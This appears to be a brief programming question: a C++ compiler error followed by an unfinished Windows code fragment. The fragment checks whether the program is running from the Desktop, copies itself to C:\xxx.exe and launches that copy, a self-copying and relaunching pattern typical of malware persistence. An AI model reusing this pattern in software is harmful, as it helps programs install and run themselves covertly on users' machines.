[Error] 'SzPath' was not declared in this scope :
char szPath[1000];
GetModuleFileName(NULL, szPath, sizeof(szPath) - 1);
string SzPath = szPath;
LPCTSTR targetPath;
struct _finddata_t fileinfo;
long long fHandle;
if(int(SzPath.find("Desktop")) != -1) {
targetPath = _T("C:\\xxx.exe");
CopyMyselfTo(targetPath);
system("start C:\\xxx.exe");